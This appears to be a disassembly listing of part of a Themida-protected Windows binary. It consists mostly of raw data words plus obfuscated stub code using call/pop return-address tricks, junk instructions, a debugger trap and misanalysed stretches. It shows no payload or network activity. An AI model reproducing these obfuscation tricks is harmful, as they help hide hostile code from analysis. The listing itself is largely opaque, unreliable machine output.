dd 0C3564600h, 871C084Fh, 9890F8Ah, 60000000h, 0F779DA81h
dd 61F91A09h, 9E9h, 87898000h, 5DED00D1h, 6FE9F2F1h, 6AFFFFFFh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 1CB1C352h, 1800FDEh, 0FC000000h, 0B8h, 8E900h
dd 0E9EA0000h, 0EEF2CBB6h, 85010990h, 6A831B5h, 50006AAAh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 617763D9h, 0F903AE1Ch, 7B8F5h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CAE7C9C3h
dd 0D565C01h, 12E9h, 9B481300h, 0B169D12Eh, 8E253EDDh
dd 623912DEh, 0C72B7DFBh, 0A8162D85h, 106h, 0C860F00h
dd 0F000000h, 68Bh, 99BD0900h, 8D06A820h, 0A84FAF8Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0E76A7EA0h, 870F60D5h, 0
; ---------------------------------------------------------------------------
popa
jmp ecx
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58181E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58181E proc near ; CODE XREF: Themida_:00581816p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58181E endp
; ---------------------------------------------------------------------------
dw 0FA6Eh
dd 7E4A6820h, 0A5BD31ECh, 8B06A805h, 550C245Ch, 0E8h, 0ED815D00h
dd 6AB7E38h, 0B8838Bh, 85890000h, 6AB653Dh, 7BCB858Dh
dd 838906ABh, 0B8h, 0C3C0335Dh, 33E58D31h, 6A06A8h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0B86224C3h, 30998D29h, 0E96006A8h, 0Ch, 0D1FF579Ch
dd 36E594E8h, 0BE99C3E8h, 812E858Dh, 6A06ABh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EF3437C3h
dd 0E990F8EAh, 7, 0A5D88EB7h, 506CBC6Ah, 0B9605250h, 44A92071h
dd 0F617FB3h, 28A0F31h, 60000000h, 90585A61h, 29BD8B60h
dd 2306A82Ah, 0A817D995h, 0B5296106h, 6A83001h, 35FF64h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 246EC350h, 0BC90BBAEh, 6408DA72h
dd 2589h, 820F0000h, 10h, 0A8F0Fh, 5E90000h, 21000000h
dd 0D276976Eh, 7E9h, 0A0122F00h, 1EBBDC62h, 81BE858Dh
dd 0BE906ABh, 0F9000000h, 0AF0CB730h, 0C3715E3Dh, 608943B0h
dd 0A800F01h, 60000000h, 880F08B7h, 0
dd 0B5296061h, 6A805B1h, 68A0Fh, 0D8810000h, 32676E2h
dd 0D585C661h, 4F06A815h, 0A9D9529h, 4E806A8h, 2A000000h
dd 60FEC874h, 0C68B6660h, 61615E53h, 128C0F50h, 50000000h
dd 0F525052h, 0F585A31h, 880F31h, 5A000000h, 24448B58h
dd 0F525004h, 138Eh, 0EE900h, 0DA930000h, 2B9A2CCFh, 88B99944h
dd 46BB64E9h, 0E960310Fh, 9, 0E14682C6h, 1C0E51EFh, 616160ADh
dd 8B585Ah, 52505250h, 310F5250h, 310F585Ah, 310F5250h
dd 585A585Ah, 9E9310Fh, 0A7000000h, 7B9570F6h, 45C86428h
dd 4489585Ah, 0E8600424h, 0Bh, 3A57B103h, 7023ABB9h, 0FE267D8h
dd 84h, 3EBA5E00h, 61798D72h, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 3D3AE378h
dd 84AD59BBh, 0F95B5FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0E43A18C3h, 3185748Ch
dd 0A82BA995h, 71858D06h, 6A06AB69h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 22D4C355h
dd 208DF821h, 0D0FFF905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0F4C35545h, 0D875BBC9h, 0F3BCDF2h, 181h
dd 8A0FF500h, 0Ch, 6840Fh, 0BD890000h, 6A831B5h, 0C2E9h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0C5C0BFE8h, 0DBD295Eh, 0E906A80Ch, 7, 791D5429h
dd 8B5805BCh, 550C245Ch, 0E8h, 0ED815D00h, 6AB8138h, 31F9858Bh
dd 858906A8h, 6A80F95h, 0D2D858Bh, 858906A8h, 6A80DB5h
dd 69D858Bh, 858906A8h, 6A80219h, 15D585C6h, 0C70006A8h
dd 0AB6ABF85h, 6, 0BE858D00h, 8906AB81h, 0B883h, 0C0335D00h
dd 0FE9F8C3h, 18000000h, 97BC2317h, 0B18B3204h, 76039DCFh
dd 6A46D6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0BB52E8C3h, 93B53D64h, 0BC095046h, 12FF74h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 56C35141h
dd 595D8598h, 4CC1E0AFh, 6810FB8h, 89000000h, 0A81C3185h
dd 58F6406h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_581C13
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581C13 proc near ; CODE XREF: Themida_:00581C0Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_581C13 endp
; ---------------------------------------------------------------------------
jmp short loc_581C3B
; ---------------------------------------------------------------------------
db 2Bh, 0D0h, 17h
dd 0C98D09ABh, 0FC06A802h, 96BB6660h, 8361F8CAh
; ---------------------------------------------------------------------------
les eax, [edx+ebp*2]
loc_581C3B: ; CODE XREF: Themida_:00581C23j
add [edx-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0F222B7C3h, 68E0Fh, 85310000h, 6A82EF5h, 12E9h, 8A587600h
dd 660EFB65h, 3029331h, 9639EEEDh, 61D28F6Fh, 464934EBh
dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh
dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
dd 0C8E90000h, 60000006h, 1236BB66h, 61CABF0Fh, 0C88B6060h
dd 6850Fh, 0D1810000h, 5F702510h, 9985C761h, 6AB82h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0CC40C350h, 8BE3F93Bh, 52006AC6h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D8B70FBCh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h
dd 0C16D4523h, 66F810E8h, 0F08C8C1h, 18Dh, 8589F800h, 6AB829Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2CC35242h
dd 53EA9DB4h, 81666094h, 0FA8CFD0h, 381h, 0D2BF0F00h, 0CBC16661h
dd 7820F08h, 0F000000h, 18Dh, 0FB83F800h, 74850F40h, 0E9000000h
dd 12h, 5E4E4AD8h, 78311D1Ch, 0FDC8ECCBh, 0FA50C17Ch, 8B0F9FB2h
dd 1, 71BD8DF9h, 6A06AB82h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 486EC351h, 0EE9ECh
dd 92FB0000h, 5C930BC3h, 0FE62BA48h, 0B1D42B8Ah, 156E9h
dd 1820F00h, 0F9000000h, 0EE9h, 0F170D200h, 23D0170Fh
dd 0EAE65B87h, 83CBEDCEh, 850F0DFBh, 45h, 79BD8DFCh, 6A06AB82h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 76EEC350h, 0F90840Bh, 18Fh, 0E9FCF500h, 0FFh
dd 0DEBF0F60h, 68E0Fh, 0F0810000h, 701B8B76h, 1FB8361h
dd 3F850Fh, 60F80000h, 12E9h, 0D38B4400h, 9B51F274h, 5CF241A1h
dd 0CF740EF9h, 0FB8CFA6h, 8D61F2B7h, 0AB8281BDh, 1870F06h
dd 0F5000000h, 0B6E9h, 0BE900h, 0B97F0000h, 0CB2EB586h
dd 6F73470Ah, 2AFB8382h, 45850Fh, 9E90000h, 26000000h
dd 6ECBE2C0h, 0B64BC119h, 89BD8DF9h, 6006AB82h, 2870Fh
dd 58500000h, 0E961F28Bh, 77h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 14C35545h, 83042176h, 850F27FBh
dd 2ABh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0D2C35141h, 467C0C16h, 10E94Bh, 0ECCE0000h, 0A07B4D3Dh
dd 0B8BBD635h, 3FB2DABCh, 0BD8D5F9Ch, 6AB8291h, 0EE9h
dd 0DABE4B00h, 5E86400Ch, 5400A244h, 8912D6BAh, 0AB82A1BDh
dd 0FE906h, 201F0000h, 41F32BE7h, 63AA4ACCh, 0F2B9D33Eh
dd 1860FE4h, 0F5000000h, 6AC88C66h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E7DFC353h
dd 8E9h, 5CC73F00h, 0EA599EBCh, 6A0324B7h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0A8AC353h
dd 62850FC0h, 0E9000001h, 0Bh, 2C8E2309h, 4061F34Bh, 0F9FDEC5h
dd 184h, 0B58DF800h, 6AB882Eh, 148A0Fh, 0FE90000h, 15000000h
dd 99CCFECCh, 0A6E40471h, 0A800A606h, 858B2D85h, 6AB88C2h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h
dd 9ADCB35Fh, 4B98ECBBh, 0C860FFFh, 60000000h, 880Fh, 0BE660000h
dd 9261FFE0h, 860F5250h, 13h, 0EE9h, 0F7310200h, 1687B83Ch
dd 0C55B7CEFh, 0F8EB447h, 58506031h, 0DE9h, 0E68ABB00h
dd 0DAB4037Bh, 0B371AE3Ah, 5A6114CEh, 7E95058h, 96000000h
dd 0C50F8F42h, 6A92CF83h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 333DC357h, 4C010F64h
dd 870FFE24h, 1Eh, 188E0Fh, 13E90000h, 1B000000h, 25400106h
dd 14ECB710h, 0AE6D1A1Fh, 0C33D52A2h, 605A639Ch, 11E9h
dd 0BA60CB00h, 7B3BE6CAh, 77EC8846h, 0FDD57B40h, 0FE9D9A7h
dd 0D5000000h, 0D4E07CE6h, 166FE714h, 54E63DC7h, 83614AB0h
dd 666024C2h, 80303ABFh, 666102C6h, 0F9FC7289h, 0F810CEC1h
dd 2728966h, 0BF0F60F9h, 47C781F1h, 6129FC02h, 0F8F904CDh
dd 67E9h, 8B666000h, 61CB80D7h, 0C2858B61h, 6A06AB88h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 5960C350h, 0F2B25FD4h, 0B58DFCEFh, 6AB882Eh
dd 9B858DF9h, 6A06AB3Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 1032C355h, 0C4F872FAh
dd 89BF2C6h, 0F8D0FFF9h, 82998589h, 6A06ABh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 33BF11C3h
dd 61B0A7EEh, 80F38B60h, 8B614FE0h, 0AB829985h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0E9EC4FB8h, 0Ch, 708F7DB7h, 10D8F314h, 0D21EC580h, 56006AC3h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 5D62D3h, 70212AF9h, 14E9h, 0B7792600h, 15E72A8Fh, 104F0CD7h
dd 0C75646B1h, 87AC51FDh, 8166609Ah, 0FBFBEC1h, 0E961F1BFh
dd 0Bh, 971045ECh, 140B6638h, 60BFA92Ch, 860FF860h, 2
dd 83615F51h, 0AB88C2BDh, 850F0006h, 52h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DBC35545h, 4CD976FCh
dd 13E90030h, 81000000h, 4BE5033Ah, 5661F1EAh, 4054B678h
dd 389C0A7Eh, 85C720B5h, 6AB88C2h, 1013Fh, 8880Fh, 8A0F0000h
dd 2, 22E96160h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 6325C357h, 0D3F837E3h
dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 6AB82A1h
dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 6AB829Dh, 7F34583Bh
dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 6AB8299h, 8B04EBh
dd 8B61C5EBh, 0AB829985h, 6ACF06h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0BF8D11C3h, 0ACE145DFh
dd 60291B37h, 5D1CF181h, 8166210Ch, 617504C6h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 99C35040h, 5778ADC5h
dd 0E9F5C32Bh, 0Fh, 327AE946h, 3C4C85D1h, 22D9F4BFh, 8B9FFBB4h
dd 0FE8C0h, 8FB20000h, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h
dd 0CDE5806Eh, 81CC8A5Eh, 66EFC6h, 8E0F5600h, 3, 59CA8B66h
dd 68h, 0F85AFC00h, 0B916048Bh, 6957E368h, 8666C081h, 0E3B70E02h
dd 3D96E881h, 0CA8B08D1h, 0B58EF081h, 0EB8061B2h, 0B70F502Fh
dd 16048FC8h, 890FF88Bh, 0Ah, 5E9h, 242BB00h, 0EA83811Ch
dd 0FB8B5604h, 0ACFA8159h, 0FFFFF99h, 0D85h, 1EE9F900h
dd 0D1000000h, 65F51FB5h, 56577D9Ch, 68D6BF66h, 99E9595Fh
dd 0B2FFFFFFh, 4677C2A0h, 0A788B74Ch, 83E93Ah, 51530000h
dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h
dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h, 5C03785Bh
dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h
dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
dd 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh
dword_5824B0 dd 148h, 78h, 7Ch, 80h, 84h, 88h, 8Ch, 90h, 94h, 0D8h
dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 0F0h, 0F4h, 0F8h, 0FCh
dd 100h, 104h, 108h, 10Ch, 110h, 114h, 38h dup(0)
dd offset dword_5824B0+64h
; ---------------------------------------------------------------------------
jmp short loc_58264A
; ---------------------------------------------------------------------------
dw 0A2h
dd 8AA7858Dh, 0D78106ABh, 7D197145h, 8BE78589h, 8A0F06ABh
dd 8, 28F0Fh, 5F570000h, 15D585C6h, 0F5406A8h, 5868FFBFh
dd 8B8443E7h, 240481D8h, 6A1E80D1h, 0F8D9D89h, 0B5FF06A8h
dd 6A80F95h, 5E9h, 0B3E37F00h
db 0, 7Fh
; ---------------------------------------------------------------------------
loc_58264A: ; CODE XREF: Themida_:005825F8j
clc
lea eax, [ebp+6AB6971h]
mov esi, 4FDBB217h
call eax
mov esi, edi
mov [ebp+6AB8BEBh], eax
jno loc_582681
call near ptr loc_582678+2
mov edi, [ecx]
dec ecx
in eax, 0A9h ; Interrupt Controller #2, 8259A
out 98h, al
cmc
push 0F51A17C9h
loc_582678: ; CODE XREF: Themida_:00582666p
repne call near ptr 3269B3A7h
test al, 6
pop edi
loc_582681: ; CODE XREF: Themida_:00582660j
jmp loc_5826C9
; ---------------------------------------------------------------------------
xor edx, [ebp+6A80A89h]
push esi
mov esi, [ebp+6AB8BE7h]
mov [esi], eax
add dword ptr [ebp+6AB8BE7h], 4
pop esi
retn
; ---------------------------------------------------------------------------
pusha
lea esi, [ebp+6AB8AA7h]
jmp short loc_5826B6
; ---------------------------------------------------------------------------
loc_5826A7: ; CODE XREF: Themida_:005826B9j
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+6AB8BEBh]
pop esi
add esi, 4
loc_5826B6: ; CODE XREF: Themida_:005826A5j
cmp dword ptr [esi], 0
jnz short loc_5826A7
popa
retn
; ---------------------------------------------------------------------------
xor [ebp+6A83209h], edx
sub [ebp+6A80D3Dh], ecx
loc_5826C9: ; CODE XREF: Themida_:loc_582681j
lea eax, [ebp+6AB8C91h]
and ebx, 175B2FD1h
mov [ebp+6A83345h], eax
mov [ebp+6A81ADDh], eax
call sub_5826F2
clc
retn
; ---------------------------------------------------------------------------
dd 8666DDE9h, 4038B94h
; ---------------------------------------------------------------------------
push ds
retn
; =============== S U B R O U T I N E =======================================
sub_5826F2 proc near ; CODE XREF: Themida_:005826E1p
jz loc_582713
pusha
mov [ebp+6A81531h], eax
call sub_582711
fcomp dword ptr [edi+6AF5828Fh]
sub al, 27h
popa
lodsb
mov bh, 0E8h
dec edx
sub_5826F2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_582711 proc near ; CODE XREF: sub_5826F2+Dp
pop edi
popa
loc_582713: ; CODE XREF: sub_5826F2j
pop esi
and cx, 1ED3h
add esi, 5E66h
xor [ebp+6A82791h], esi
xor edi, edi
or ebx, [ebp+6A81101h]
push dword ptr [edi+esi]
push edi
movsx edx, bx
pop edx
pop eax
jg loc_58274D
jmp loc_58274D
; ---------------------------------------------------------------------------
db 8Ch, 69h, 0A6h
dd 4E6C3B71h, 4F44C128h
db 0B8h
; ---------------------------------------------------------------------------
loc_58274D: ; CODE XREF: sub_582711+25j
; sub_582711+2Bj
sub eax, 4AF2C96Fh
sub ebx, [ebp+6A800E1h]
sub eax, 701DE8CEh
mov ecx, [ebp+6A82115h]
sub eax, 55D3FB18h
mov cl, 0D7h
mov [esi+edi], eax
mov cl, bl
mov dh, 1Ch
sub edi, 3
call near ptr loc_58278B+2
imul ebp, [edi-36h], 19h
in eax, 79h
mov ah, 88h
sbb ah, al
adc byte ptr [eax-0Bh], 0B0h
movsd
loc_58278B: ; CODE XREF: sub_582711+66p
repne cmp [ecx], al
sub_582711 endp ; sp-analysis failed
mov ch, 15h
sub ebp, [eax-7EB0A5FAh]
call dword ptr [edx-1]
dec dword ptr [edi]
test [edi+edi*8-48F00001h], ecx
iret
; ---------------------------------------------------------------------------
jmp loc_5828A2
; ---------------------------------------------------------------------------
db 0E3h, 2Ah, 0C4h
dd 55C9749h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh
dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h
dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh
dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h
dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h
dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh
dd 0A0A3D25Dh, 1E59h, 4 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5828A2: ; CODE XREF: Themida_:005827A4j
jmp loc_583545
; ---------------------------------------------------------------------------
push 6AB90E2h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB91FCh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB92C1h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB939Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB943Dh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB94ECh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB9646h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB972Ch
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB9826h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB9904h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB99C0h
jmp loc_5517CE
; ---------------------------------------------------------------------------
not dword ptr [eax+19h]
lea esp, [edx]
or eax, 3751F248h
jle short loc_582949
xchg ebp, ebx
scasb
sbb [edi-3FB0246Ah], dh
mov cl, 61h
ror byte ptr [ebp-460B69C7h], 6Dh
retn 0EBA2h
; ---------------------------------------------------------------------------
dw 0F45Fh
; ---------------------------------------------------------------------------
push ecx
sbb [edx-7D793FE6h], al
add si, [esi-0C23C5C0h]
push edx
pop ds
xchg eax, edx
loc_582949: ; CODE XREF: Themida_:0058291Fj
cdq
sub [esi], al
dec ebx
in eax, dx
mov byte ptr [edx+5FF93459h], 16h
mov [eax-8DE8559h], edx
sub ds:1C3EE74Ch, al
push ecx
int 3 ; Trap to Debugger
popa
hlt
; ---------------------------------------------------------------------------
db 2Bh, 24h, 1
dd 0EB49F248h, 40FB12B1h, 0CDA61817h, 0E9BCEF19h, 0AD86B600h
dd 5EF69679h, 0AE7BC2FBh, 0C4544DEFh, 2771FB67h, 143D5742h
dd 0B0D35CDCh, 3547ADF9h, 52091D49h, 0E8B7E16Dh, 9CDE0C45h
dd 30AF1EAFh, 6D24475Fh, 0BAFED7C0h, 8E0601C9h, 2A83B601h
dd 0AAE38289h, 0D990B31Ch, 0E9ACC22Dh, 2043DC4Fh, 73A00388h
dd 261F6E80h, 149D36F9h, 0E3276E0Dh, 767E5F4Bh, 12D9614h
dd 4226D444h, 38000005h, 8DFEBBD7h, 2A71A7EEh, 0AED85CFFh
dd 0AF57D76Ah, 2BE7FF58h, 0F97E2BC7h, 26FF241Dh, 4FF84E07h
dd 0AB056EDh, 5EC38AA9h, 0F21DEB4Dh, 0D0B60012h, 32604367h
dd 8ABECC96h, 49222993h, 0BAFA7CEFh, 0D6B600C3h, 0CAA6B47Dh
dd 2D14773Fh, 3Bh, 86B5E7F6h, 11B5AEE7h, 498F7h, 0D80C4EB6h
dd 0C7B7867Bh, 32CD246h, 26585C9Eh, 0EE74B600h, 76335F40h
dd 0D2D6F029h, 0B0B60025h, 0F9BA1187h, 77990DF9h, 0C2E814h
dd 0BA330000h, 0A8CEAA30h, 0C96FACD0h, 218EC766h, 0D92DF80h
dd 830F194h, 5ACB6841h, 0D234723Bh, 0AF5844C3h, 55183AA5h
dd 912BDFC8h, 0AF584599h, 0C768C06Bh, 0F659EDA4h, 7E81E57h
dd 188B2D64h, 60863D9Fh, 4C9326h, 40C671B6h, 38EE55C7h
dd 0AAEE328Eh, 7DC610BCh, 0A4A7FDA1h, 0FCD590BEh, 0B7A0E98Bh
dd 0C28FB013h, 16BADB44h, 0DA0DBA4Dh, 588079C4h, 0EC7CFF22h
dd 0BF8001A2h, 1D000009h, 4CF7337Ah, 7B246227h, 0AD1694DDh
dd 0DD46C481h, 2EB5F1BCh, 0ABE6878Bh, 0DF92B41Fh, 0D44E84Bh
dd 3E7716B9h, 5CEE7CE8h, 0B603675Ch, 0FF3BE026h, 0B4FD9B5Eh
dd 0DBAD2FDBh, 95039B6Dh, 13BC0692h, 0C6ED3970h, 0F7EFB5E7h
dd 0F9314BBEh, 0CBAF582Dh, 0D4839660h, 678D3912h, 198B8F39h
dd 0DE79AF58h, 47718C5Ah, 0F853B600h, 4773B3BBh, 230B600h
dd 9420DA47h, 4D04C254h, 5B123293h, 42E358D6h, 7851183Bh
dd 0C0D25338h, 14771FD4h, 0CF33h, 5CFF1400h, 76178815h
dd 0E1DA9FB3h, 0DB6BBABCh, 0D77DAF57h, 57DB75B5h, 83E44FAFh
dd 0A50AAEE3h, 496F2E86h, 6AAACBEFh, 0EB8A3571h, 6A430A2Ah
dd 7A3F53BCh, 68CC4D3Eh, 638937D3h, 8E61D0E9h, 0FB74E28h
dd 0AF589F0Bh, 316993F9h, 13AF589Fh, 1FE94F38h, 0B600A6CCh
dd 3F7615B6h, 9D56A046h, 4421DD1Bh, 622F4FB0h, 59FB4C36h
dd 1D82C4E2h, 0E7BCAB48h, 14359E4Ch, 0C162CD59h, 0E0185C8Ch
dd 1B98EC7Ch, 8A5AAh, 2D640300h, 5C193699h, 8AC365CEh
dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h
dd 8ABFFB6h, 0E9E2C65h, 686EAADCh, 1654B603h, 135EFF29h
dd 0A6EF6997h, 5D8DD4DDh, 238C2Ch, 0AC17FD49h, 4D56C287h
dd 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h, 2C05A4E2h
dd 0CCFA41F3h, 0FFED4FBAh, 0AE1A35B5h, 0C8614618h, 0D2DE18B4h
dd 0C3878053h, 97058216h, 650FE2Ch, 2409F549h, 0E365B348h
dd 0BB70B538h, 4246802Eh, 0BB70B5h, 5C7F8117h, 14997237h
dd 257B2193h, 0CBCF79C7h, 0B9BB7025h, 0A30D449Eh, 0F517B3ACh
dd 0C21BB322h, 309337E0h, 5DC6440Dh, 0D51773Eh, 8FE70C75h
dd 7E0532Ch, 1B3E0000h, 0C66BD452h, 0FC9C0783h, 0A0CE71B5h
dd 5DFEA1E5h, 6C0D8A10h, 72C885A6h, 0AEFCB1D1h, 982E6705h
dd 0C95D1437h, 3D7D8F5Dh, 7B60369h, 5CFF5AC1h, 0AD0F8815h
dd 304AF016h, 0AF57D6F8h, 1E1AACCAh, 0E4AF57D7h, 3E98524Bh
dd 74BB3CA2h, 0F214DE5Ah, 0B6007E3Fh, 1D6CCB05h, 0D9073AEAh
dd 3ABC5AE0h, 1372B804h, 0B176A255h, 0F802B803h, 0BCAC2635h
dd 1D86240Fh, 50F3377Eh, 233F642Dh, 26474385h, 123DBCACh
dd 51DE97B1h, 0E557D058h, 0B61EA85Eh, 8CC357B3h, 0F6D907A3h
dd 0BAFF9459h, 0DA4B2475h, 0FCA3F5B8h, 0B9F09859h, 0BAD97AC0h
dd 0BE97DA7Bh, 5E04A871h, 0C56CABEEh, 2B6F996Dh, 19C35780h
dd 0BE6C453Eh, 0FF9A3D0Ch, 0FC2C07C9h, 0DF288D9Ch, 77EC7E4h
dd 65000007h, 943F8BC2h, 0C36CBAFFh, 0F55EECA5h, 258E1C59h
dd 76FD4904h, 0E3AECF43h, 175AFCA7h, 450C3093h, 763F5EC1h
dd 14B6B430h, 0B6036A14h, 0E783A8EEh, 81B9C3B5h, 43AF57D7h
dd 0E8CBFFE8h, 43A90F4Ah, 0D194BA25h, 0BDD5B4Ch, 0B60364B3h
dd 9F00A691h, 8B71B5FCh, 0EA4E0B28h, 308E2645h, 24AC2E64h
dd 4CCD524Bh, 78B9DBE8h, 78A59EDBh, 62CF8AA7h, 43675049h
dd 0ABCE8A39h, 0CD365CBCh, 6CBDE2ABh, 0ABCE66A2h, 0A5F35CBCh
dd 6183519Bh, 1114FAF3h, 0A7F03D70h, 4F33D5CEh, 41EC7D50h
dd 664E162h, 0A7C20000h, 5AF758EEh, 288B1Fh, 3C52FD49h
dd 0E1822D79h, 0E0911EACh, 0CE5C1132h, 3288C565h, 6CBAF391h
dd 5DE9A0C3h, 0B1E913C9h, 93B6036Ah, 59BAEE55h, 0FE2F7439h
dd 7C4FEDBAh, 1A1390D9h, 0CF738521h, 9EC18F56h, 0F412D850h
dd 8EAE6B0Bh, 0BC4AEEC7h, 0B603DDF1h, 0DB2D65F7h, 93BC042Dh
dd 0AA50FB05h, 4DEB2A49h, 349F2B04h, 52DB5811h, 1BAD59E2h
dd 0BCAFBEBBh, 9778AE89h, 0C669BDF4h, 0BE38EEA7h, 0EB27BD37h
dd 0BD2E8A97h, 4E0258FCh, 4750C83h, 14FF2B04h, 0B9F23F72h
dd 8853F57Fh, 7AC35703h, 254537D1h, 684BE5D1h, 5B597h
dd 3D741300h, 6C2946E9h, 9AD375DEh, 0CA8FA30Ch, 0FFB2D37Ch
dd 858D2CABh, 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h
dd 6B5E5AECh, 0E624B603h, 155CFF39h, 3D741788h, 45FE5EE9h
dd 0F5F867A1h, 80CAB5FFh, 0F908134Ah, 2AF9840h, 0ABBCF8h
dd 0B273D8B6h, 2D6805EEh, 7332F8Bh, 33DA1477h, 6D000000h
dd 0D80EB5E7h, 54FAEh, 7EC711B6h, 1389FCE0h, 6EB3FEA0h
dd 4FE3443Dh, 2474A50Ah, 6AEC311Ah, 0B5FFDA2Ah, 3644ED46h
dd 1477D55Ah, 108BDh, 5CFF8600h, 18528815h, 969357E3h
dd 2CF325DDh, 48D9460Bh, 5EC76C25h, 650763Fh, 0D29A65DCh
